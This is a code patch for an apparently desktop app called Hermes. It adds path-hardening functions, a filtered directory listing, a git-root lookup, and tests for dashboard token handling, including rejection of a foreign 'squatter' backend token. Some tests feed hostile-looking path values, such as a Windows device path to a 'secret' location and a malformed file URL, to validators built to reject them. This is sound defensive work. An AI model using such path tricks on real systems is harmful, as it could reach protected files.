const assert = require('node:assert/strict')
|
||||
|
||||
const {
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
} = require('./dashboard-token.cjs')
|
||||
|
||||
test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served-token";window.__HERMES_BASE_PATH__=""</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served-token')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken handles escaped token strings', () => {
|
||||
const html = '<script>window.__HERMES_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
|
||||
assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
|
||||
})
|
||||
|
||||
test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
|
||||
assert.equal(extractInjectedDashboardToken('<html></html>'), null)
|
||||
assert.equal(extractInjectedDashboardToken('<script>window.__HERMES_SESSION_TOKEN__={bad}</script>'), null)
|
||||
})
|
||||
|
||||
test('dashboardIndexUrl preserves dashboard path prefixes', () => {
|
||||
assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
|
||||
assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
|
||||
const logs = []
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async url => {
|
||||
assert.equal(url, 'http://127.0.0.1:9120/')
|
||||
return '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /served a different session token/)
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => '<html></html>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when no served token is present')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
|
||||
const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="same-token";</script>',
|
||||
rememberLog: () => {
|
||||
throw new Error('should not log when token already matches')
|
||||
}
|
||||
})
|
||||
|
||||
assert.equal(token, 'same-token')
|
||||
})
|
||||
|
||||
test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
}
|
||||
}),
|
||||
/boom/
|
||||
)
|
||||
})
|
||||
|
||||
test('fetchPublicText rejects unsupported protocols', async () => {
|
||||
await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
|
||||
})
|
||||
|
||||
test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
|
||||
const cases = [
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
|
||||
// Live child + drift = our backend regenerated the token (env pin lost).
|
||||
[{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
|
||||
[{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
|
||||
[{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
|
||||
]
|
||||
for (const [input, expected] of cases) {
|
||||
assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
|
||||
}
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken adopts drift from a live child', async () => {
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
|
||||
})
|
||||
|
||||
assert.equal(token, 'served-token')
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
|
||||
await assert.rejects(
|
||||
() =>
|
||||
adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => false,
|
||||
fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="squatter-token";</script>',
|
||||
label: 'Hermes backend for profile "work"'
|
||||
}),
|
||||
/profile "work".*process we did not spawn/
|
||||
)
|
||||
})
|
||||
|
||||
test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
|
||||
const logs = []
|
||||
const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
|
||||
childAlive: () => true,
|
||||
fetchText: async () => {
|
||||
throw new Error('boom')
|
||||
},
|
||||
rememberLog: line => logs.push(line)
|
||||
})
|
||||
|
||||
assert.equal(token, 'spawn-token')
|
||||
assert.equal(logs.length, 1)
|
||||
assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
|
||||
})
|
||||
@@ -0,0 +1,109 @@
|
||||
'use strict'
|
||||
|
||||
const fs = require('node:fs')
|
||||
const path = require('node:path')
|
||||
const { resolveDirectoryForIpc } = require('./hardening.cjs')
|
||||
|
||||
const FS_READDIR_STAT_CONCURRENCY = 16
|
||||
|
||||
// Always-hidden noise (covers non-git projects too; gitignore catches many of
|
||||
// these, but the project tree should keep the same hygiene without one).
|
||||
const FS_READDIR_HIDDEN = new Set([
|
||||
'.git',
|
||||
'.hg',
|
||||
'.svn',
|
||||
'.cache',
|
||||
'.next',
|
||||
'.turbo',
|
||||
'.venv',
|
||||
'__pycache__',
|
||||
'build',
|
||||
'dist',
|
||||
'node_modules',
|
||||
'target',
|
||||
'venv'
|
||||
])
|
||||
|
||||
function direntIsDirectory(dirent) {
|
||||
return typeof dirent.isDirectory === 'function' && dirent.isDirectory()
|
||||
}
|
||||
|
||||
function direntIsFile(dirent) {
|
||||
return typeof dirent.isFile === 'function' && dirent.isFile()
|
||||
}
|
||||
|
||||
function direntIsSymbolicLink(dirent) {
|
||||
return typeof dirent.isSymbolicLink === 'function' && dirent.isSymbolicLink()
|
||||
}
|
||||
|
||||
function shouldStatDirent(dirent) {
|
||||
if (direntIsDirectory(dirent)) return false
|
||||
|
||||
return direntIsSymbolicLink(dirent) || !direntIsFile(dirent)
|
||||
}
|
||||
|
||||
async function entryForDirent(dirent, resolved, fsImpl) {
|
||||
const fullPath = path.join(resolved, dirent.name)
|
||||
let isDirectory = direntIsDirectory(dirent)
|
||||
|
||||
if (!isDirectory && shouldStatDirent(dirent)) {
|
||||
try {
|
||||
isDirectory = (await fsImpl.promises.stat(fullPath)).isDirectory()
|
||||
} catch {
|
||||
isDirectory = false
|
||||
}
|
||||
}
|
||||
|
||||
return { name: dirent.name, path: fullPath, isDirectory }
|
||||
}
|
||||
|
||||
async function mapWithStatConcurrency(items, mapper) {
|
||||
const results = new Array(items.length)
|
||||
let nextIndex = 0
|
||||
|
||||
async function runWorker() {
|
||||
while (nextIndex < items.length) {
|
||||
const index = nextIndex
|
||||
nextIndex += 1
|
||||
results[index] = await mapper(items[index])
|
||||
}
|
||||
}
|
||||
|
||||
const workerCount = Math.min(FS_READDIR_STAT_CONCURRENCY, items.length)
|
||||
const workers = Array.from({ length: workerCount }, () => runWorker())
|
||||
await Promise.all(workers)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
async function readDirForIpc(dirPath, options = {}) {
|
||||
const fsImpl = options.fs || fs
|
||||
let resolved
|
||||
|
||||
try {
|
||||
;({ resolvedPath: resolved } = await resolveDirectoryForIpc(dirPath, {
|
||||
fs: fsImpl,
|
||||
purpose: 'Directory read'
|
||||
}))
|
||||
} catch (error) {
|
||||
return { entries: [], error: error?.code || 'read-error' }
|
||||
}
|
||||
|
||||
try {
|
||||
const dirents = await fsImpl.promises.readdir(resolved, { withFileTypes: true })
|
||||
const visibleDirents = dirents.filter(dirent => !FS_READDIR_HIDDEN.has(dirent.name))
|
||||
const entries = await mapWithStatConcurrency(visibleDirents, dirent =>
|
||||
entryForDirent(dirent, resolved, fsImpl)
|
||||
)
|
||||
|
||||
entries.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
|
||||
|
||||
return { entries }
|
||||
} catch (error) {
|
||||
return { entries: [], error: error?.code || 'read-error' }
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
readDirForIpc
|
||||
}
|
||||
@@ -0,0 +1,364 @@
|
||||
'use strict'
|
||||
|
||||
const assert = require('node:assert/strict')
|
||||
const fs = require('node:fs')
|
||||
const os = require('node:os')
|
||||
const path = require('node:path')
|
||||
const test = require('node:test')
|
||||
const { pathToFileURL } = require('node:url')
|
||||
|
||||
const { readDirForIpc } = require('./fs-read-dir.cjs')
|
||||
|
||||
function mkTmpDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-fs-read-dir-'))
|
||||
}
|
||||
|
||||
function fakeDirent(name, flags = {}) {
|
||||
return {
|
||||
name,
|
||||
isDirectory: () => Boolean(flags.directory),
|
||||
isFile: () => Boolean(flags.file),
|
||||
isSymbolicLink: () => Boolean(flags.symlink)
|
||||
}
|
||||
}
|
||||
|
||||
test('readDirForIpc hides noisy directories and files from the project tree', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'node_modules'))
|
||||
fs.mkdirSync(path.join(root, 'src'))
|
||||
fs.writeFileSync(path.join(root, 'target'), 'hidden file')
|
||||
fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
['src', 'README.md']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc filters a hidden basename whether it is a file or directory', async () => {
|
||||
const dirRoot = mkTmpDir()
|
||||
const fileRoot = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(dirRoot, 'node_modules'))
|
||||
fs.writeFileSync(path.join(dirRoot, 'visible.txt'), 'visible')
|
||||
fs.writeFileSync(path.join(fileRoot, 'node_modules'), 'hidden file')
|
||||
fs.writeFileSync(path.join(fileRoot, 'visible.txt'), 'visible')
|
||||
|
||||
assert.deepEqual(
|
||||
(await readDirForIpc(dirRoot)).entries.map(entry => entry.name),
|
||||
['visible.txt']
|
||||
)
|
||||
assert.deepEqual(
|
||||
(await readDirForIpc(fileRoot)).entries.map(entry => entry.name),
|
||||
['visible.txt']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(dirRoot, { recursive: true, force: true })
|
||||
fs.rmSync(fileRoot, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc returns directories before files and sorts by name within groups', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.writeFileSync(path.join(root, 'z.txt'), 'z')
|
||||
fs.mkdirSync(path.join(root, 'src'))
|
||||
fs.writeFileSync(path.join(root, 'a.txt'), 'a')
|
||||
fs.mkdirSync(path.join(root, 'lib'))
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
['lib', 'src', 'a.txt', 'z.txt']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc accepts file URLs for directories', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'src'))
|
||||
fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
|
||||
|
||||
const result = await readDirForIpc(pathToFileURL(root).toString())
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
['src', 'README.md']
|
||||
)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc returns invalid-path for blank or non-string input', async () => {
|
||||
let readdirCalls = 0
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => {
|
||||
readdirCalls += 1
|
||||
return []
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assert.deepEqual(await readDirForIpc('', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
|
||||
assert.deepEqual(await readDirForIpc(' ', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
|
||||
assert.deepEqual(await readDirForIpc(null, { fs: fsImpl }), { entries: [], error: 'invalid-path' })
|
||||
assert.equal(readdirCalls, 0)
|
||||
})
|
||||
|
||||
test('readDirForIpc rejects Windows device paths before readdir', async () => {
|
||||
let readdirCalls = 0
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => {
|
||||
readdirCalls += 1
|
||||
return []
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assert.deepEqual(await readDirForIpc('\\\\?\\C:\\secret', { fs: fsImpl }), {
|
||||
entries: [],
|
||||
error: 'device-path'
|
||||
})
|
||||
assert.equal(readdirCalls, 0)
|
||||
})
|
||||
|
||||
test('readDirForIpc returns filesystem error codes instead of throwing', async () => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
const result = await readDirForIpc(path.join(root, 'missing'))
|
||||
|
||||
assert.deepEqual(result, { entries: [], error: 'ENOENT' })
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc marks a symlink to a directory as a directory', async t => {
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'actual-dir'))
|
||||
|
||||
try {
|
||||
fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'linked-dir'), 'dir')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`symlink creation is not permitted on this platform (${error.code})`)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
throw error
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
const linked = result.entries.find(entry => entry.name === 'linked-dir')
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.equal(linked?.isDirectory, true)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc marks a Windows junction to a directory as a directory', async t => {
|
||||
if (process.platform !== 'win32') {
|
||||
t.skip('junctions are a Windows-specific symlink type')
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
const root = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.mkdirSync(path.join(root, 'actual-dir'))
|
||||
|
||||
try {
|
||||
fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'junction-dir'), 'junction')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`junction creation is not permitted on this platform (${error.code})`)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
throw error
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(root)
|
||||
const junction = result.entries.find(entry => entry.name === 'junction-dir')
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.equal(junction?.isDirectory, true)
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc allows expanding symlink or junction directories outside the project root', async t => {
|
||||
const root = mkTmpDir()
|
||||
const outside = mkTmpDir()
|
||||
|
||||
try {
|
||||
fs.writeFileSync(path.join(outside, 'outside.txt'), 'ok')
|
||||
|
||||
const linkPath = path.join(root, 'outside-link')
|
||||
try {
|
||||
fs.symlinkSync(outside, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
|
||||
} catch (error) {
|
||||
if (error?.code === 'EPERM' || error?.code === 'EACCES') {
|
||||
t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
throw error
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(linkPath)
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(result.entries, [
|
||||
{ name: 'outside.txt', path: path.join(linkPath, 'outside.txt'), isDirectory: false }
|
||||
])
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true })
|
||||
fs.rmSync(outside, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
test('readDirForIpc stats symbolic links and unknown entries without dropping the whole listing', async () => {
|
||||
const input = path.join('virtual-root')
|
||||
const resolved = path.resolve(input)
|
||||
const statCalls = []
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => [
|
||||
fakeDirent('unknown-entry'),
|
||||
fakeDirent('linked-dir', { symlink: true }),
|
||||
fakeDirent('broken-link', { symlink: true }),
|
||||
fakeDirent('plain.txt', { file: true })
|
||||
],
|
||||
stat: async fullPath => {
|
||||
if (fullPath === resolved) {
|
||||
return { isDirectory: () => true }
|
||||
}
|
||||
|
||||
statCalls.push(fullPath)
|
||||
if (fullPath.endsWith(`${path.sep}linked-dir`)) {
|
||||
return { isDirectory: () => true }
|
||||
}
|
||||
throw Object.assign(new Error('gone'), { code: 'ENOENT' })
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const result = await readDirForIpc(input, { fs: fsImpl })
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.deepEqual(
|
||||
statCalls.sort(),
|
||||
[path.join(resolved, 'broken-link'), path.join(resolved, 'linked-dir'), path.join(resolved, 'unknown-entry')].sort()
|
||||
)
|
||||
assert.deepEqual(result.entries, [
|
||||
{ name: 'linked-dir', path: path.join(resolved, 'linked-dir'), isDirectory: true },
|
||||
{ name: 'broken-link', path: path.join(resolved, 'broken-link'), isDirectory: false },
|
||||
{ name: 'plain.txt', path: path.join(resolved, 'plain.txt'), isDirectory: false },
|
||||
{ name: 'unknown-entry', path: path.join(resolved, 'unknown-entry'), isDirectory: false }
|
||||
])
|
||||
})
|
||||
|
||||
test('readDirForIpc bounds concurrent stats while preserving complete sorted output', async () => {
|
||||
const input = path.join('virtual-root')
|
||||
const resolved = path.resolve(input)
|
||||
const names = Array.from({ length: 105 }, (_, index) => `entry-${String(104 - index).padStart(3, '0')}`)
|
||||
const failedName = 'entry-100'
|
||||
const directoryNames = new Set(names.filter((_, index) => index % 10 === 4))
|
||||
const successfulDirectoryNames = new Set([...directoryNames].filter(name => name !== failedName))
|
||||
const statCalls = []
|
||||
let active = 0
|
||||
let peak = 0
|
||||
let releaseStats
|
||||
let markFirstStatStarted
|
||||
const statsReleased = new Promise(resolve => {
|
||||
releaseStats = resolve
|
||||
})
|
||||
const firstStatStarted = new Promise(resolve => {
|
||||
markFirstStatStarted = resolve
|
||||
})
|
||||
const fsImpl = {
|
||||
promises: {
|
||||
readdir: async () => [
|
||||
fakeDirent('node_modules', { symlink: true }),
|
||||
...names.map((name, index) => fakeDirent(name, { symlink: index % 2 === 0 }))
|
||||
],
|
||||
stat: async fullPath => {
|
||||
if (fullPath === resolved) {
|
||||
return { isDirectory: () => true }
|
||||
}
|
||||
|
||||
statCalls.push(fullPath)
|
||||
active += 1
|
||||
peak = Math.max(peak, active)
|
||||
markFirstStatStarted()
|
||||
await statsReleased
|
||||
active -= 1
|
||||
|
||||
const name = path.basename(fullPath)
|
||||
if (name === failedName) {
|
||||
throw Object.assign(new Error('gone'), { code: 'ENOENT' })
|
||||
}
|
||||
|
||||
return { isDirectory: () => successfulDirectoryNames.has(name) }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const resultPromise = readDirForIpc(input, { fs: fsImpl })
|
||||
await firstStatStarted
|
||||
await new Promise(resolve => setImmediate(resolve))
|
||||
releaseStats()
|
||||
const result = await resultPromise
|
||||
|
||||
const expectedNames = [
|
||||
...names.filter(name => successfulDirectoryNames.has(name)).sort(),
|
||||
...names.filter(name => !successfulDirectoryNames.has(name)).sort()
|
||||
]
|
||||
|
||||
assert.equal(result.error, undefined)
|
||||
assert.equal(result.entries.length, names.length)
|
||||
assert.equal(statCalls.length, names.length)
|
||||
assert.equal(statCalls.some(fullPath => fullPath.endsWith(`${path.sep}node_modules`)), false)
|
||||
assert.ok(peak > 1, `expected concurrent stats, observed peak ${peak}`)
|
||||
assert.ok(peak <= 16, `expected at most 16 concurrent stats, observed peak ${peak}`)
|
||||
assert.deepEqual(
|
||||
result.entries.map(entry => entry.name),
|
||||
expectedNames
|
||||
)
|
||||
assert.equal(result.entries.find(entry => entry.name === failedName)?.isDirectory, false)
|
||||
assert.equal(
|
||||
result.entries.filter(entry => entry.isDirectory).length,
|
||||
successfulDirectoryNames.size
|
||||
)
|
||||
})
|
||||
@@ -0,0 +1,54 @@
|
||||
'use strict'
|
||||
|
||||
const fs = require('node:fs')
|
||||
const path = require('node:path')
|
||||
const { resolveRequestedPathForIpc } = require('./hardening.cjs')
|
||||
|
||||
function findGitRoot(start, fsImpl = fs) {
|
||||
let dir = start
|
||||
|
||||
for (let i = 0; i < 50; i += 1) {
|
||||
try {
|
||||
if (fsImpl.existsSync(path.join(dir, '.git'))) {
|
||||
return dir
|
||||
}
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
|
||||
const parent = path.dirname(dir)
|
||||
|
||||
if (parent === dir) {
|
||||
return null
|
||||
}
|
||||
|
||||
dir = parent
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
async function gitRootForIpc(startPath, options = {}) {
|
||||
const fsImpl = options.fs || fs
|
||||
let resolved
|
||||
|
||||
try {
|
||||
resolved = resolveRequestedPathForIpc(startPath, { purpose: 'Git root' })
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
|
||||
try {
|
||||
const stat = await fsImpl.promises.stat(resolved)
|
||||
const start = stat.isDirectory() ? resolved : path.dirname(resolved)
|
||||
|
||||
return findGitRoot(start, fsImpl)
|
||||
} catch {
|
||||
return findGitRoot(resolved, fsImpl)
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
findGitRoot,
|
||||
gitRootForIpc
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
'use strict'
|
||||
|
||||
const assert = require('node:assert/strict')
|
||||
const fs = require('node:fs')
|
||||
const os = require('node:os')
|
||||
const path = require('node:path')
|
||||
const test = require('node:test')
|
||||
const { pathToFileURL } = require('node:url')
|
||||
|
||||
const { gitRootForIpc } = require('./git-root.cjs')
|
||||
|
||||
function mkTmpDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-git-root-'))
|
||||
}
|
||||
|
||||
test('gitRootForIpc returns null for invalid and device paths', async () => {
|
||||
assert.equal(await gitRootForIpc(''), null)
|
||||
assert.equal(await gitRootForIpc(' '), null)
|
||||
assert.equal(await gitRootForIpc(null), null)
|
||||
assert.equal(await gitRootForIpc('\\\\?\\C:\\secret'), null)
|
||||
assert.equal(await gitRootForIpc('file:///%E0%A4%A'), null)
|
||||
})
|
||||
|
||||
test('gitRootForIpc resolves directories files missing descendants and file URLs', async t => {
|
||||
const root = mkTmpDir()
|
||||
t.after(() => fs.rmSync(root, { recursive: true, force: true }))
|
||||
|
||||
const gitDir = path.join(root, '.git')
|
||||
const srcDir = path.join(root, 'src')
|
||||
const filePath = path.join(srcDir, 'index.ts')
|
||||
fs.mkdirSync(gitDir)
|
||||
fs.mkdirSync(srcDir)
|
||||
fs.writeFileSync(filePath, 'export {}\n', 'utf8')
|
||||
|
||||
assert.equal(await gitRootForIpc(root), root)
|
||||
assert.equal(await gitRootForIpc(srcDir), root)
|
||||
assert.equal(await gitRootForIpc(filePath), root)
|
||||
assert.equal(await gitRootForIpc(pathToFileURL(filePath).toString()), root)
|
||||
assert.equal(await gitRootForIpc(path.join(srcDir, 'missing.ts')), root)
|
||||
})
|
||||
@@ -106,71 +106,155 @@ function sensitiveFileBlockReason(filePath) {
|
||||
return null
|
||||
}
|
||||
|
||||
function resolveRequestedFilePath(filePath, baseDir = process.cwd(), purpose = 'File read') {
|
||||
const raw = String(filePath || '').trim()
|
||||
function ipcPathError(code, message) {
|
||||
const error = new Error(message)
|
||||
error.code = code
|
||||
return error
|
||||
}
|
||||
|
||||
function rejectUnsafePathSyntax(filePath, purpose = 'File read') {
|
||||
if (typeof filePath !== 'string') {
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
|
||||
}
|
||||
|
||||
const raw = filePath.trim()
|
||||
|
||||
if (!raw) {
|
||||
throw new Error(`${purpose} failed: file path is required.`)
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
|
||||
}
|
||||
|
||||
if (raw.includes('\0')) {
|
||||
throw new Error(`${purpose} failed: file path is invalid.`)
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file path is invalid.`)
|
||||
}
|
||||
|
||||
const normalized = raw.replace(/\\/g, '/').toLowerCase()
|
||||
if (
|
||||
normalized.startsWith('//?/') ||
|
||||
normalized.startsWith('//./') ||
|
||||
normalized.startsWith('globalroot/device/') ||
|
||||
normalized.includes('/globalroot/device/')
|
||||
) {
|
||||
throw ipcPathError('device-path', `${purpose} blocked: Windows device paths are not allowed.`)
|
||||
}
|
||||
|
||||
return raw
|
||||
}
|
||||
|
||||
function resolveRequestedPathForIpc(filePath, options = {}) {
|
||||
const purpose = String(options.purpose || 'File read')
|
||||
const raw = rejectUnsafePathSyntax(filePath, purpose)
|
||||
|
||||
if (/^file:/i.test(raw)) {
|
||||
let resolvedPath
|
||||
try {
|
||||
return fileURLToPath(raw)
|
||||
const parsed = new URL(raw)
|
||||
if (parsed.protocol !== 'file:') {
|
||||
throw new Error('not a file URL')
|
||||
}
|
||||
resolvedPath = fileURLToPath(parsed)
|
||||
} catch {
|
||||
throw new Error(`${purpose} failed: file URL is invalid.`)
|
||||
throw ipcPathError('invalid-path', `${purpose} failed: file URL is invalid.`)
|
||||
}
|
||||
|
||||
rejectUnsafePathSyntax(resolvedPath, purpose)
|
||||
return path.resolve(resolvedPath)
|
||||
}
|
||||
|
||||
const resolvedBase = path.resolve(String(baseDir || process.cwd()))
|
||||
return path.resolve(resolvedBase, raw)
|
||||
const baseInput = typeof options.baseDir === 'string' && options.baseDir.trim() ? options.baseDir : process.cwd()
|
||||
const safeBaseInput = rejectUnsafePathSyntax(baseInput, purpose)
|
||||
const resolvedBase = path.resolve(safeBaseInput)
|
||||
rejectUnsafePathSyntax(resolvedBase, purpose)
|
||||
const resolvedPath = path.resolve(resolvedBase, raw)
|
||||
rejectUnsafePathSyntax(resolvedPath, purpose)
|
||||
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
async function statForIpc(fsImpl, resolvedPath, purpose, typeLabel) {
|
||||
try {
|
||||
return await fsImpl.promises.stat(resolvedPath)
|
||||
} catch (error) {
|
||||
const code = error && typeof error === 'object' ? error.code : ''
|
||||
if (code === 'ENOENT' || code === 'ENOTDIR') {
|
||||
throw ipcPathError(code || 'ENOENT', `${purpose} failed: ${typeLabel} does not exist.`)
|
||||
}
|
||||
throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function realpathForIpc(fsImpl, resolvedPath, purpose) {
|
||||
if (typeof fsImpl.promises.realpath !== 'function') {
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
try {
|
||||
const realPath = await fsImpl.promises.realpath(resolvedPath)
|
||||
rejectUnsafePathSyntax(realPath, purpose)
|
||||
return realPath
|
||||
} catch (error) {
|
||||
const code = error && typeof error === 'object' ? error.code : ''
|
||||
throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
|
||||
}
|
||||
}
|
||||
|
||||
function rejectSensitiveFilePath(filePath, purpose) {
|
||||
const blockReason = sensitiveFileBlockReason(filePath)
|
||||
if (blockReason) {
|
||||
throw ipcPathError('sensitive-file', `${purpose} blocked for sensitive file: ${blockReason}`)
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveDirectoryForIpc(dirPath, options = {}) {
|
||||
const purpose = String(options.purpose || 'Directory read')
|
||||
const fsImpl = options.fs || fs
|
||||
const resolvedPath = resolveRequestedPathForIpc(dirPath, { baseDir: options.baseDir, purpose })
|
||||
const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'directory')
|
||||
|
||||
if (!stat.isDirectory()) {
|
||||
throw ipcPathError('ENOTDIR', `${purpose} failed: path is not a directory.`)
|
||||
}
|
||||
|
||||
const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
|
||||
|
||||
return { realPath, resolvedPath, stat }
|
||||
}
|
||||
|
||||
async function resolveReadableFileForIpc(filePath, options = {}) {
|
||||
const purpose = String(options.purpose || 'File read')
|
||||
const resolvedPath = resolveRequestedFilePath(filePath, options.baseDir, purpose)
|
||||
const fsImpl = options.fs || fs
|
||||
